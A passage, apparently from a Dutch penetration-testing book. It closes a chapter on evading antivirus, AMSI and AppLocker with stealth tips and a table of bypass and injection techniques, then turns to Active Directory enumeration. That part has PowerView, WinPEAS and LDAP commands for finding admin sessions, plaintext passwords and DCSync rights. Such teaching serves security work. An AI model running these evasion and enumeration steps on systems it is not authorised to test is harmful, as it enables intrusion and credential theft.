AppLocker: - LOLBin-gebruik is moeilijk te voorkomen maar makkelijk te detecteren. Monitor procesrelaties. - Overweeg WDAC als vervanging – het is strenger en moeilijker te omzeilen. - Blokkeer niet-essientiele .NET-tools: als niemand MSBuild nodig heeft, blokkeer het.

AV Evasion: - DefenderCheck/AMSITrigger zijn je beste vrienden. Scan, pas aan, scan opnieuw. Iteratief proces. - In-memory execution (NetLoader) is effectiever dan obfuscatie op schijf. - Shellter werkt goed maar gebruik altijd verse PE-targets. - Gebruik obfuscate_av.py voor text-based payloads (.php, .aspx, .py, .hta, .txt) en --obfuscate-vba voor macro’s. - On-the-fly download obfuscatie (?obf=1) geeft elke download een unieke variant – nuttig als een specifieke versie geblokkeerd wordt. - Voor binaire payloads: combineer msfvenom encoders met andere technieken. Encoding alleen stopt moderne EDR niet.

Process Injection: - Kies je target-proces zorgvuldig. Een notepad.exe dat plotseling HTTPS-verkeer genereert, valt op. - Process hollowing gecombineerd met Parent PID Spoofing is de meest stealthy variant. - Genereer shellcode voor de juiste architectuur (x64 vs x86).

Cradles: - Gebruik de XMLHTTP-cradle als default – laagste detectiekans, proxy-compatible, CLM-compatible. - Voeg altijd proxy-support toe in zakelijke omgevingen. - Combineer de cradle met een AMSI-bypass – AMSI scant de content die de cradle downloadt.

Referentietabel

Techniek IB Command Type Complexiteit
CLM Bypass (runspace) amsi_bypass_clm AMSI/CLM Laag
CLM Bypass (PSv2) amsi_bypass_clm AMSI/CLM Laag
CLM Bypass (InstallUtil) amsi_bypass_clm AMSI/CLM Medium
CLM Bypass (MSBuild) amsi_bypass_clm AMSI/CLM Medium
amsiInitFailed flag amsi_bypass_context AMSI Laag
AmsiScanBuffer patch amsi_bypass_patch AMSI Medium
AmsiContext reflection amsi_bypass_reflection AMSI Medium
InvisiShell amsi_invisishell AMSI/Logging Laag
InstallUtil bypass applocker_installutil AppLocker Medium
MSBuild inline task applocker_msbuild AppLocker Medium
MSHTA execution applocker_mshta AppLocker Laag
DefenderCheck workflow av_defendercheck AV Recon Laag
HTA payload av_hta AV/Initial Access Medium
NetLoader av_netloader AV/In-Memory Medium
Shellter PE injection av_shellter AV/PE Inject Hoog
Multi-taal obfuscatie (PHP/ASPX/Python/HTA/TXT) obfuscate_file taak AV/Obfuscatie Laag
VBA macro obfuscatie --obfuscate-vba flag AV/Obfuscatie Laag
Binary encoder (ELF/MSI/EXE) --encoder flag AV/Encoding Medium
CreateRemoteThread inject_createremotethread Process Inject Medium
DLL Injection inject_dll Process Inject Medium
Process Hollowing inject_hollowing Process Inject Hoog
IWR Cradle ps_cradle_iwr Delivery Laag
WebClient Cradle ps_cradle_webclient Delivery Laag
WebRequest Cradle ps_cradle_webrequest Delivery Laag
IE COM Cradle ps_cradle_comie Delivery Medium
XMLHTTP Cradle ps_cradle_xmlhttp Delivery Laag

Verder Lezen

En zo eindigt ons rondje door het landschap van evasion. Bijna dertig technieken, verdeeld over zes categorieen, elk met hun eigen charme en hun eigen detectiemethoden. De wapenwedloop gaat door. De aanvaller vindt een bypass, de verdediger schrijft een detectieregel, de aanvaller past de bypass aan, de verdediger update de regel. Het is een dans die al begon bij het Trojaanse paard en die niet snel zal ophouden. Het minste wat je kunt doen, is de danspassen kennen.

In het volgende hoofdstuk pakken we iets groters aan: laterale beweging door het netwerk. Want een voet tussen de deur is leuk, maar de kluis staat aan de andere kant van het gebouw.

Windows en Domain Enumeratie

Windows en Domain Enumeratie

De stamboom van het netwerk

Er is iets merkwaardigs aan de manier waarop mensen omgaan met Active Directory. Stel je voor dat je een enorm landhuis binnenwandelt – een van die Engelse country estates met tweehonderd kamers, geheime doorgangen, en een butler die al sinds de Napoleontische oorlogen in dienst is. Je hebt een sleutel gekregen van de achterdeur (hoofdstuk 3 en 4, weet je nog?), maar je hebt werkelijk geen idee waar je bent. Je weet niet wie de eigenaar is. Je weet niet welke kamers er zijn, wie er toegang toe heeft, of waar de familiejuwelen liggen. Je weet eigenlijk helemaal niets.

Enumeratie is het systematisch bestuderen van die stamboom. Het is het openen van elke lade, het lezen van elk familieportret, het bestuderen van de hiërarchie van bedienden. Wie is de patriarch? Wie is de zwarte schaap? Wie heeft de sleutel van de kluis, en – cruciaal – wie heeft die sleutel afgegeven aan de tuinman omdat hij te lui was om zelf naar de kelder te lopen?

In Active Directory-termen: je wilt weten wie de Domain Admins zijn, welke machines er draaien, waar de vertrouwensrelaties lopen, en welke schaamteloze misconfiguraties er zijn gemaakt door iemand die op vrijdagmiddag om half vijf nog even snel iets “tijdelijk” wilde regelen. Spoiler: niets in IT is zo permanent als een tijdelijke oplossing.

Dit hoofdstuk is het langste van het boek, en met goede reden. Enumeratie is niet sexy. Het is niet het indrukwekkende moment waarop je een shell krijgt of een hash kraakt. Het is het equivalent van drie weken in een stoffig archief zitten met een vergrootglas en een notitieblok. Maar het is verreweg het belangrijkste wat je doet na initial access. Elke pentest die mislukt, mislukt omdat iemand deze stap heeft overgeslagen. Elke succesvolle pentest begint hier.

Laten we beginnen met de meest fundamentele vraag die je kunt stellen.

5.1 Lokale enumeratie: “Wie ben ik eigenlijk?”

De existentiële crisis van de aanvaller

Voordat je het domein gaat verkennen, moet je eerst begrijpen waar je staat. Dit is het digitale equivalent van wakker worden in een onbekend hotel en naar de badkamer strompelen om in de spiegel te kijken. Wie ben je? Wat kun je? En vooral: hoe diep zit je in de problemen?

De commando’s zijn zo simpel dat ze bijna beledigend aanvoelen:

whoami
whoami /priv
whoami /groups

Dat eerste commando vertelt je je gebruikersnaam. Het tweede laat je privileges zien – en dit is waar het interessant wordt. Als je SeImpersonatePrivilege ziet staan, mag je een klein vreugdedansje doen, want dat is je ticket naar SYSTEM via Potato- exploits. Als je SeDebugPrivilege hebt, kun je processen debuggen (lees: geheugen dumpen van alles wat beweegt). En het derde commando laat zien in welke groepen je zit.

net user %USERNAME%
net user %USERNAME% /domain
systeminfo

systeminfo is een goudmijn. Het vertelt je het besturingssysteem, de versie, de hotfixes die zijn geïnstalleerd (en dus impliciet welke er missen), het domein, de logon server, en meer. Het is alsof je de identiteitskaart, het medisch dossier, en het strafblad van je doelwit tegelijk leest.

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix(s)"

Maar laten we eerlijk zijn: handmatig zoeken naar privilege escalation vectoren is als het zoeken naar een naald in een hooiberg terwijl je niet eens weet hoe een naald eruitziet. Daarom bestaan er tools.

Geautomatiseerde lokale privesc enumeratie

Het IB command file enum_privesc_local bundelt de drie grote namen:

PowerUp – de klassieke PowerShell privilege escalation checker:

# Alle checks in één keer
powershell -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"

# Specifieke checks als je weet wat je zoekt:
Get-ServiceUnquoted -Verbose
Get-ModifiableServiceFile -Verbose
Get-ModifiableService -Verbose

PowerUp zoekt naar de usual suspects: unquoted service paths (services waarvan het pad spaties bevat maar niet tussen aanhalingstekens staat), schrijfbare service binaries, en services waarvan je de configuratie kunt aanpassen.

IB Tip: Unquoted service paths zijn het digitale equivalent van een zin zonder interpunctie. Windows interpreteert C:\Program Files\My App\service.exe als “probeer eerst C:\Program.exe, dan C:\Program Files\My.exe, en pas daarna het echte pad.” Als je ergens in dat pad kunt schrijven, win je.

WinPEAS – de Zwitserse zakmes van Windows enumeratie:

.\winPEASx64.exe

# Alleen specifieke categorieën:
.\winPEASx64.exe servicesinfo
.\winPEASx64.exe userinfo

WinPEAS is… grondig. Het produceert meer output dan een Russische roman en kleurt alles in rood, geel en groen alsof het een verkeersrapport is. Rood betekent “dit is bijna zeker exploiteerbaar,” geel is “dit is verdacht,” en groen is “dit is interessant maar waarschijnlijk niet direct bruikbaar.” In de praktijk scroll je door een zee van groen op zoek naar dat ene rode item dat je dag gaat maken.

PrivescCheck – het PowerShell alternatief:

powershell -c "Import-Module .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended"

En dan de handmatige checks voor de puristen onder ons:

# AlwaysInstallElevated -- als beide registry keys op 1 staan,
# kun je elke MSI als SYSTEM installeren
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Unquoted service paths via WMI
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\"

# Scheduled tasks -- wie draait wat, en als wie?
schtasks /query /fo LIST /v | findstr /i "task to run\|run as user"

IB Tip: Draai PowerUp EN WinPEAS voor maximale dekking. Ze vinden niet dezelfde dingen. PowerUp is gespecialiseerd in service-gerelateerde zwakheden, terwijl WinPEAS ook kijkt naar credentials in bestanden, register-entries, en allerlei andere hoeken waar je niet aan denkt.

En nu – even een cynisch intermezzo – laten we het hebben over het feit dat AlwaysInstallElevated uberhaupt bestaat als instelling. Microsoft heeft letterlijk een registry key gemaakt die zegt: “Ja, laat iedereen software installeren met de hoogste rechten. Wat kan er misgaan?” Het is alsof je een knop op je voordeur monteert met het label “Druk hier om het alarm uit te schakelen.” En er zijn systeembeheerders die deze instelling aanzetten. Met opzet. Omdat een gebruiker klaagde dat hij zijn favoriete screensaver niet kon installeren.

5.2 Domain gebruikers: het telefoonboek van de organisatie

Van lokaal naar domein

Nu je weet wie je lokaal bent, is het tijd om het domein in te stappen. En het eerste wat je doet is het telefoonboek opslaan – elke gebruiker in het domein, met zoveel mogelijk details.

De primitieve manier:

net user /domain
net group "Domain Admins" /domain

Maar net user /domain geeft je alleen een kale lijst met namen. Geen beschrijvingen, geen groepslidmaatschappen, geen interessante attributen. Het is alsof je het telefoonboek hebt, maar alleen de namen – geen adressen, geen telefoonnummers.

PowerView: het echte werk

# Alle users met nuttige velden
Get-DomainUser | select samaccountname,description,memberof

# Users gesorteerd op login count (wie is actief?)
Get-DomainUser -Properties samaccountname,logonCount | sort logonCount -Descending

Dat eerste commando is goud. samaccountname is de gebruikersnaam. description is – en ik verzin dit niet – het veld waar systeembeheerders regelmatig wachtwoorden in opslaan. Ja, echt. In plaintext. In een veld dat standaard leesbaar is voor elke geauthenticeerde gebruiker in het domein.

# Zoek naar wachtwoorden in description velden
Get-DomainUser -LDAPFilter "Description=*pass*" | select name,Description

Dit commando zoekt naar het woord “pass” in description velden. Je zou verbaasd zijn hoe vaak dit resultaten oplevert. “Temp password: Winter2024!” of “Service account - pwd: P@ssw0rd123” of mijn persoonlijke favoriet: “DO NOT CHANGE PASSWORD: Admin123”.

IB Tip: Het description-veld in AD is standaard leesbaar voor alle domain users. Dit is geen bug, het is by design. Microsoft vond dat beschrijvingen van accounts nuttige informatie is die iedereen zou moeten kunnen zien. En systeembeheerders dachten: “Handig! Dan zet ik het wachtwoord erbij, zodat ik het niet vergeet.” Het is alsof je je pincode op je bankpas schrijft en dan zegt: “Maar ik heb hem in mijn portemonnee, dus niemand kan erbij.”

Met de AD Module (het officiële PowerShell-module van Microsoft):

Get-ADUser -Filter * -Properties * | select name,logoncount,Description

Het verschil tussen PowerView en de AD Module is subtiel maar belangrijk. De AD Module is door Microsoft gemaakt en staat standaard op Domain Controllers. PowerView is door de offensieve security community gemaakt en moet je zelf uploaden. De AD Module is “legitiem” verkeer dat minder snel alarmbellen doet rinkelen bij een SOC. PowerView is krachtiger en flexibeler, maar het gebruik ervan is een rode vlag als je wordt gemonitored.

Wat je zoekt in gebruikersdata

Laat me het uitspellen, want dit is waar junior pentesters constant overheen kijken:

  1. Service accounts met SPNs – Kerberoast-doelwitten (hoofdstuk 7)
  2. Accounts met wachtwoorden in de description – instant toegang
  3. Accounts die nooit verlopen – vaak vergeten service accounts
  4. Accounts met hoge logonCount – actieve admin accounts
  5. Accounts met lage logonCount – mogelijk honeypots of vergeten accounts
  6. Disabled accounts – soms nog steeds bruikbaar via Kerberos

5.3 Domain groepen: de organisatiestructuur

Wie heeft de macht?

Active Directory-groepen zijn als de adellijke titels in een monarchie. Er is een hiërarchie, er zijn privileges, en er zijn altijd meer mensen met toegang dan er zouden moeten zijn. De koning mag dan zeggen dat alleen de innerlijke kring toegang heeft tot de schatkamer, maar in de praktijk heeft de helft van het hof een sleutel omdat iemand ooit zei: “Voeg Jan even toe, hij moet er bij kunnen voor dat ene project.”

# PowerView: alle groepen
Get-DomainGroup | select Name

# Zoek specifiek naar admin-groepen
Get-DomainGroup *admin* | select Name

# De heilige graal: wie zit er in Domain Admins?
Get-DomainGroupMember -Identity "Domain Admins" -Recurse | select MemberName

Let op die -Recurse flag. Dat is cruciaal. Active Directory ondersteunt geneste groepen. Groep A kan lid zijn van Groep B, die lid is van Domain Admins. Zonder -Recurse zie je alleen de directe leden, en mis je de impliciete Domain Admins die via nesting hun privileges hebben gekregen.

# AD Module equivalenten:
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
Get-ADGroupMember -Identity "Domain Admins" -Recursive | select Name

# Van welke groepen is een specifieke user lid?
Get-DomainGroup -UserName "targetuser"

IB Tip: Zoek niet alleen naar “Domain Admins”. Zoek ook naar “Enterprise Admins”, “Schema Admins”, “Account Operators”, “Backup Operators”, en “Server Operators”. Backup Operators kunnen bijvoorbeeld elk bestand op het systeem lezen, inclusief de SAM-database en NTDS.dit. Server Operators kunnen services aanmaken en starten. Dit zijn geen admin-accounts, maar ze zijn net zo gevaarlijk.

Hier is het moment voor een cynisch intermezzo. Weet je wat het mooiste is van groepslidmaatschappen in de meeste organisaties? Niemand ruimt ze op. Ooit. Een medewerker begint als stagiair, wordt analist, wordt teamleider, wordt manager, en aan het eind van zijn carrière zit hij in 47 groepen – waarvan 43 niets te maken hebben met zijn huidige functie. Het is digitale hoarding. Mensen die hun inbox op nul houden maar hun groepslidmaatschappen er uitzien alsof een peuter met de “Toevoegen”-knop heeft gespeeld.

En dan worden ze ontslagen of gaan ze met pensioen, en raad eens? Het account wordt “disabled” maar niet verwijderd, de groepslidmaatschappen blijven staan, en drie jaar later weet niemand meer waarom j.vanderberg_oud lid is van “Financieel Systeem Beheerders” en “VPN Full Access”. Maar niemand durft het te verwijderen, want “stel dat het ergens voor nodig is.”

5.4 Domain computers: de inventaris

Elke machine in kaart brengen

# PowerView: alle computers met OS info
Get-DomainComputer | select Name,OperatingSystem,DNSHostName

# Filter op specifiek OS
Get-DomainComputer -OperatingSystem "*Server 2022*" | select Name

# Alleen machines die online zijn (ICMP ping)
Get-DomainComputer -Ping | select Name

Het IB command file enum_domain_computers bevat ook twee bijzonder interessante queries:

# Unconstrained delegation -- machines die tickets mogen doorsturen
Get-DomainComputer -UnConstrained | select Name

# Constrained delegation -- machines met beperkte delegatie
Get-DomainComputer -TrustedToAuth | select Name,msDS-AllowedToDelegateTo

Even een historische noot, met de warmte die het onderwerp verdient. Kerberos-delegatie werd in 2000 geïntroduceerd met Windows 2000 Server. Het idee was elegant: als een webserver namens een gebruiker toegang moest hebben tot een database, kon de server het Kerberos-ticket van de gebruiker doorsturen. Unconstrained delegation betekende: “Deze machine mag het ticket doorsturen naar elke service.” Het was het equivalent van een volmacht zonder beperkingen.

Twintig jaar later realiseerde iedereen zich dat dit een verschrikkelijk idee was. Een machine met unconstrained delegation slaat de TGTs van elke gebruiker die erop inlogt op in het geheugen. Als je die machine compromitteert, heb je de tickets van iedereen die er recent is geweest – inclusief, als je geluk hebt, een Domain Admin.

# AD Module:
Get-ADComputer -Filter * -Properties OperatingSystem | select Name,OperatingSystem

IB Tip: Machines met unconstrained delegation zijn high-value targets. In een standaard AD-omgeving heeft elke Domain Controller unconstrained delegation (dat is by design), maar als je andere machines vindt met deze instelling, zijn dat potentiële springplanken naar Domain Admin.

Waar je op let

5.5 Domain trusts: de diplomatieke betrekkingen

Het web van vertrouwen

Domain trusts zijn de diplomatieke verdragen van Active Directory. Ze definiëren welke domeinen elkaar vertrouwen, in welke richting dat vertrouwen loopt, en welk type vertrouwen het is. En net als echte diplomatieke verdragen zijn ze vaak ouder dan de mensen die ze beheren, en begrijpt niemand meer precies waarom ze bestaan.

# PowerView:
Get-DomainTrust

# AD Module:
Get-ADTrust -Filter *

De output vertelt je:

# Forest informatie:
Get-Forest
Get-ForestDomain
Get-ForestGlobalCatalog
Get-ForestTrust

# AD Module varianten:
Get-ADForest | select Domains,GlobalCatalogs
(Get-ADForest).Domains
Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'

Laat me uitleggen waarom dit belangrijk is met een analogie die het verdient om verteld te worden.

Stel je voor dat je in een groot kasteel woont (het forest). Binnen dat kasteel zijn er meerdere vleugels (domeinen). De eigenaar van de noordvleugel vertrouwt de eigenaar van de zuidvleugel, en vice versa – dat is een bidirectionele trust binnen hetzelfde forest. Maar de eigenaar van het kasteel heeft ook een overeenkomst met de eigenaar van het kasteel verderop – dat is een forest trust.

Het cruciale punt is dit: een parent-child trust binnen een forest is altijd bidirectioneel en transitief. Als je domein kind.parent.local compromitteert, kun je via de trust relatie escaleren naar parent.local. En van daaruit naar andere child-domeinen. Het is als domino’s – duw er eentje om en de rest volgt.

IB Tip: Forest trusts zijn de echte grens in Active Directory, niet domeinen. Binnen een forest deelt elk domein hetzelfde Schema en dezelfde Enterprise Admins groep. Een domain compromise binnen een forest is in principe een forest compromise. Externe en forest trusts zijn lastiger maar niet onmogelijk te misbruiken – zie SID History attacks en trust ticket forging in hoofdstuk 8.

5.6 GPO enumeratie: de wet van het land

Group Policy Objects

Als Active Directory het koninkrijk is, dan zijn Group Policy Objects de wetten. Ze dicteren wat gebruikers en computers mogen en moeten doen: welke software wordt geïnstalleerd, welke instellingen worden afgedwongen, welke scripts worden uitgevoerd bij het inloggen. En net als echte wetten zijn ze vaak tegenstrijdig, verouderd, en geschreven door iemand die de gevolgen niet helemaal had doordacht.

# PowerView: alle GPOs
Get-DomainGPO | select DisplayName,Name

# GPOs die van toepassing zijn op een specifieke computer
Get-DomainGPO -ComputerIdentity targetcomputer

Tot zover niets schokkends. Maar het wordt interessant bij deze commando’s:

# Restricted Groups -- welke groepen worden via GPO toegevoegd aan lokale groepen?
Get-DomainGPOLocalGroup

# Wie wordt via GPO local admin op een specifieke machine?
Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity targetcomputer

# Op welke machines is een specifieke user local admin via GPO?
Get-DomainGPOUserLocalGroupMapping -Identity targetuser -Verbose

Dit is enorm waardevol. GPOs worden gebruikt om lokale beheerdersgroepen te configureren. Als je weet dat GPO_ITBeheer de groep IT-Beheerders toevoegt aan de lokale Administrators-groep op alle servers, en jij kunt lid worden van IT-Beheerders (of al lid bent), dan ben je lokale admin op elke server waar die GPO wordt toegepast.

# Organizational Units -- de structuur waarop GPOs worden toegepast
Get-DomainOU | select Name,DistinguishedName

OUs zijn de mappen in Active Directory. GPOs worden gekoppeld aan OUs, en alle objecten in die OU (en sub-OUs) krijgen die GPO. Als je weet welke OU een target computer in zit, weet je welke GPOs erop worden toegepast. En als je weet welke GPOs er zijn met interessante instellingen, weet je welke OUs je moet targeten.

IB Tip: Zoek naar GPOs met namen als “Wachtwoordbeleid”, “Software Installatie”, of “Logon Scripts”. Logon scripts zijn bijzonder interessant – als je een logon script kunt wijzigen dat via GPO wordt uitgerold, heb je code execution op elke machine waar dat script draait. Zoek ook naar GPOs die Restricted Groups configureren: die vertellen je exact wie local admin is op welke machines.

GPO misconfiguraties

De meest voorkomende GPO-misconfiguraties die we in de praktijk tegenkomen:

  1. cPassword in SYSVOL: Oude GPP-wachtwoorden (MS14-025). Microsoft heeft de functionaliteit verwijderd, maar oude XML-bestanden staan er soms nog.
  2. Schrijfrechten op GPO-bestanden: Als je de bestanden van een GPO kunt wijzigen in SYSVOL, kun je de GPO aanpassen.
  3. Overmatig brede GPO-koppelingen: Een GPO die Domain Admins local admin maakt op werkstations, maar per ongeluk is gekoppeld aan de hele domain root.

5.7 Share en bestandsenumeratie: de archiefkamer

SMB shares: het open buffet

Als er een plek is waar organisaties hun vuile was buiten hangen, dan is het op SMB-shares. Het is werkelijk verbijsterend wat mensen op gedeelde netwerkschijven zetten in de veronderstelling dat “alleen collega’s erbij kunnen.” Spoiler: elke geauthenticeerde domeingebruiker kan standaard de meeste shares zien.

# Alle shares in het domein vinden
Invoke-ShareFinder -Verbose

# Gevoelige bestanden zoeken op die shares
Invoke-FileFinder -Verbose

# File servers identificeren
Get-NetFileServer

Invoke-ShareFinder scant elke computer in het domein op open SMB-shares. Invoke-FileFinder gaat een stap verder en zoekt naar bestanden met interessante namen: *password*, *credential*, *config*, *.kdbx (KeePass databases), *.vmdk (virtuele disks), enzovoort.

# Lokale groepen op een remote machine bekijken
Get-NetLocalGroup -ComputerName target
Get-NetLocalGroupMember -ComputerName target -GroupName Administrators

IB Tip: De meest voorkomende vondsten op shares: - Excel-bestanden met wachtwoorden (altijd genaamd wachtwoorden.xlsx of passwords_DO_NOT_DELETE.xlsx) - Configuratiebestanden met database connection strings - PowerShell-scripts met hardcoded credentials - Backup-bestanden van databases - KeePass-databases (en soms de master key ernaast) - SSH private keys - VPN-configuratiebestanden met ingebedde certificaten

Ik wil hier even stilstaan bij de absurditeit van wat we in de praktijk tegenkomen. Er bestaan organisaties – grote, serieuze organisaties met compliance-afdelingen en een CISO met een kantoor op de directie-etage – waar een share genaamd \\fileserver\IT leesbaar is voor Domain Users en een bestand bevat genaamd admin_passwords.txt. In plaintext. Onversleuteld. Al vier jaar niet gewijzigd.

En als je het rapporteert, krijg je te horen: “Ja maar dat is alleen intern toegankelijk.” Alsof het interne netwerk een onneembare vesting is. Alsof we niet net drie hoofdstukken hebben besteed aan hoe je op dat interne netwerk komt.

5.8 User hunting: de jacht

Waar zijn de kroonjuwelen?

User hunting is precies wat het klinkt: het opsporen van specifieke gebruikers op het netwerk. Meestal zoek je Domain Admins, want als je een machine vindt waar een Domain Admin is ingelogd en je hebt daar lokale beheerdersrechten, kun je hun credentials stelen en het spel is voorbij.

Het IB command file enum_user_hunting is een van de meest bruikbare in de hele collectie:

# Stap 1: Vind machines waar je local admin bent
Find-LocalAdminAccess -Verbose

# Alternatief als SMB/RPC geblokkeerd is:
Find-WMILocalAdminAccess
Find-PSRemotingLocalAdminAccess

Find-LocalAdminAccess probeert een SMB-verbinding te maken naar elke computer in het domein en checkt of je lokale beheerdersrechten hebt. Het is luidruchtig – het genereert veel verkeer en veel logs – maar het is effectief.

# Stap 2: Vind waar Domain Admin sessies draaien
Find-DomainUserLocation -Verbose

# Zoek naar andere groepen:
Find-DomainUserLocation -UserGroupIdentity "RDPUsers"

# Combineer: vind DA sessie EN check of je daar admin bent
Find-DomainUserLocation -CheckAccess

# Stealth modus: scan alleen file servers en DFS servers
Find-DomainUserLocation -Stealth

De -CheckAccess flag is briljant. Het combineert twee stappen in een: “Waar is een Domain Admin ingelogd?” en “Heb ik daar admin-rechten?” Als beide waar zijn, heb je je attack path gevonden.

De -Stealth optie is voor als je probeert niet gedetecteerd te worden. In plaats van elke machine in het domein te scannen, kijkt het alleen naar file servers, distributed file system servers, en domain controllers – machines waar Domain Admins waarschijnlijk sessies hebben, maar met veel minder netwerk-ruis.

IB Tip: De volgorde is altijd: (1) vind waar je local admin bent, (2) vind waar DAs zijn ingelogd, (3) vind het overlap. Als er geen overlap is, moet je eerst lateraal bewegen naar machines waar je wel admin bent, en hopen dat je van daaruit dichter bij een DA-sessie komt. Dit is het “derivative local admin” pad dat BloodHound zo goed kan visualiseren – daarover later meer.

5.9 ACL enumeratie: de kleine lettertjes

De onzichtbare rechtenstructuur

Active Directory Access Control Lists zijn de meest onderschatte aanvalsvector in de hele Windows-wereld. De meeste systeembeheerders weten dat ACLs bestaan. Veel minder begrijpen hoe ze werken. En bijna niemand controleert ze regelmatig.

Een ACL op een AD-object (een gebruiker, groep, computer, OU, of GPO) definieert wie wat mag doen met dat object. De rechten die je zoekt als aanvaller:

Recht Betekenis Aanvalspotentieel
GenericAll Volledige controle Wachtwoord resetten, groepsleden wijzigen, alles
GenericWrite Schrijfrechten op attributen SPN toevoegen (Targeted Kerberoast), logon script wijzigen
WriteDacl ACL aanpassen Jezelf GenericAll geven
WriteOwner Eigenaar wijzigen Eigenaar worden, dan WriteDacl, dan GenericAll
ForceChangePassword Wachtwoord resetten zonder oud wachtwoord Account overnemen
WriteProperty Specifiek attribuut schrijven Afhankelijk van welk attribuut

Het IB command file ad_enum_acl pakt dit systematisch aan:

# Stap 1: Alle interessante ACLs voor je huidige user of groep
powershell -c "Import-Module .\PowerView.ps1; Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match 'currentuser|currentgroup'} | Select-Object ObjectDN,ActiveDirectoryRights,IdentityReferenceName | Format-Table -AutoSize"

Vervang currentuser en currentgroup met je eigen gebruikersnaam en groepen. Dit commando zoekt naar alle objecten in het domein waar jij (of je groepen) interessante rechten op hebt.

# Stap 2: ACLs op een specifiek object bekijken
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs | ?{$_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner|GenericWrite|ForceChangePassword|WriteProperty'}

Dit vertelt je wie er speciale rechten heeft op de Domain Admins groep. Als jouw account (direct of via nesting) WriteDacl heeft op Domain Admins, kun je jezelf toevoegen. Game over.

# Stap 3: Wie heeft DCSync rechten?
Get-DomainObjectAcl -SearchBase 'DC=domain,DC=local' -ResolveGUIDs | ?{$_.ObjectAceType -match 'Replicating'} | Select-Object IdentityReferenceName,ObjectAceType

DCSync-rechten (de replicatie-rechten op het domeinobject) zijn het equivalent van de sleutel tot de kluis. Met DCSync kun je elke hash uit Active Directory halen zonder ooit een Domain Controller aan te raken. Het is het verschil tussen een bank beroven en de bank vragen om je al het geld toe te sturen. Standaard hebben alleen Domain Controllers en Domain Admins deze rechten, maar misconfiguraties zijn verrassend vaak.

# Stap 4: Accounts met GenericWrite (Kerberoast target)
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ActiveDirectoryRights -match 'GenericWrite'} | Select-Object ObjectDN,IdentityReferenceName

# Stap 5: Owner van een object checken
Get-DomainObjectAcl -Identity targetuser -ResolveGUIDs | Select-Object SecurityIdentifier,Owner

Die laatste is subtiel maar belangrijk. De eigenaar van een AD-object kan altijd de ACL van dat object aanpassen (WriteDacl). Dus als je eigenaar bent van een account, kun je jezelf GenericAll geven op dat account, en dan het wachtwoord resetten.

IB Tip: Gebruik BloodHound voor visuele ACL attack paths. Handmatig door ACL-output scrollen is als het lezen van een juridisch contract – technisch mogelijk, maar je mist gegarandeerd iets. BloodHound visualiseert de ketens: User A heeft WriteDacl op Groep B, die GenericAll heeft op User C, die lid is van Domain Admins. Dat is drie stappen, en je ziet het in een oogopslag.

5.10 LDAP raw queries: zonder PowerView

Wanneer je geen tools hebt

Er zijn situaties waarin je PowerView niet kunt of wilt laden. Misschien is er een EDR die PowerShell-modules monitort. Misschien heb je geen schrijfrechten op disk. Misschien wil je gewoon zo min mogelijk voetafdrukken achterlaten. In die gevallen val je terug op wat er al op het systeem staat.

Het IB command file ad_enum_ldap_raw is een meesterwerk van minimalisme. Het gebruikt drie methoden: de .NET [adsisearcher] class (die op elk domein-joined Windows-systeem werkt zonder extra tools), de DirectoryEntry en DirectoryServices classes, en voor Linux: ldapsearch.

PowerShell [adsisearcher]: altijd beschikbaar

# Alle gebruikers
([adsisearcher]'(objectCategory=user)').FindAll() | % { $_.Properties.samaccountname }

# Alle computers
([adsisearcher]'(objectCategory=computer)').FindAll() | % { $_.Properties.cn }

# Alle groepen
([adsisearcher]'(objectCategory=group)').FindAll() | % { $_.Properties.cn }

# Domain Admins leden
([adsisearcher]'(&(objectCategory=user)(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local))').FindAll() | % { $_.Properties.samaccountname }

De schoonheid van [adsisearcher] is dat het puur LDAP is. Er worden geen extra modules geladen, er wordt niets naar disk geschreven, en het verkeer is identiek aan wat elke Windows-machine doet als onderdeel van normaal domeinverkeer. Het is onzichtbaar. Nou ja, bijna onzichtbaar – als iemand LDAP-queries monitort op de Domain Controller, kun je worden opgemerkt, maar dat doet bijna niemand.

De echt interessante queries:

# Gebruikers met een SPN (Kerberoastable)
([adsisearcher]'(&(objectCategory=user)(servicePrincipalName=*))').FindAll() | % { $_.Properties.samaccountname; $_.Properties.serviceprincipalname }

# Gebruikers met DONT_REQ_PREAUTH (AS-REP Roastable)
([adsisearcher]'(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))').FindAll() | % { $_.Properties.samaccountname }

# Uitgeschakelde accounts
([adsisearcher]'(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=2))').FindAll() | % { $_.Properties.samaccountname }

# Wachtwoord verloopt nooit
([adsisearcher]'(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))').FindAll() | % { $_.Properties.samaccountname }

Die 1.2.840.113556.1.4.803 ziet er intimiderend uit, maar het is simpelweg de LDAP OID voor een bitwise AND-operatie. userAccountControl is een bitfield – elke bit vertegenwoordigt een instelling. Bit 2 (waarde 2) is “account is disabled.” Bit 22 (waarde 4194304) is “do not require Kerberos pre-authentication.” De OID zegt: “geef me alle accounts waar deze specifieke bit aan staat.”

IB Tip: [adsisearcher] werkt op elk domein-joined Windows zonder extra tools. Het is je fallback als alles faalt. Onthoud deze syntax – het kan het verschil maken tussen succes en falen als je in een beperkte omgeving zit.

.NET DirectoryServices: meer detail

# Domain informatie
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$d.Name
$d.DomainControllers

# Forest informatie
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() | % { $_.Domains; $_.GlobalCatalogs }

# Trust relaties
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

Linux: ldapsearch

